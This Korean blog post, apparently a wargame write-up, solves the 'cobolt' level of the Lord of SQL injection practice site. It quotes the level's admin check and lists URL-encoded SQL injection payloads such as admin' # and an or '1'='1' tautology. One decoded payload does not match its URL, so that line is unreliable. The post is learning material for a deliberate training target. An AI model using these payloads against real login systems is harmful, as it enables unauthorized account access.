본문 바로가기

WarGame/Web

[Lord of SQL injection] cobolt


소스코드 분석

gremlin 문제랑 별다를게 없음


if($result['id'] == 'admin') solve("cobolt");

elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";

그래서 id를 admin 이라는 조건만 맞춰주면 풀림



?id=admin%27%20%23

admin' #




----------------------------------------------------------------------------------------------------

----------------------------------------------------------------------------------------------------


?id=admin%27%20or%20%271%27=%271%27%20%23

admin' or '1'='1' #

이 조건을 줬을때는 풀리지가 않음




?id=admin%27%20or%20%272%27=%271%27%20%23

admin' or '1'='1' #

이 조건일때는 만족한다







true를 사용할 때 반환값이 여러개가 뜨고 id=admin은 반환값이 1개 라서

id=admin (참 : 1개) or true (참 : 여러개) 이렇게 되므로 여러개가 반환이된다.

(admin만 뜨게되면 뒤에 있는 true 조건에 부합하지 않아서 여러를 반환한다고 생각함)

DB테이블에서 제일위에있는게 rubiya라는 값이라서 조건에 만족을 못시킨거 같다.

'WarGame > Web' 카테고리의 다른 글

[Lord of SQL injection] darkelf  (0) 2017.05.25
[Lord of SQL injection] wolfman  (0) 2017.05.24
[Lord of SQL injection] orc  (0) 2017.05.24
[Lord of SQL injection] goblin  (0) 2017.05.24
[Lord of SQL injection] gremlin  (0) 2017.05.23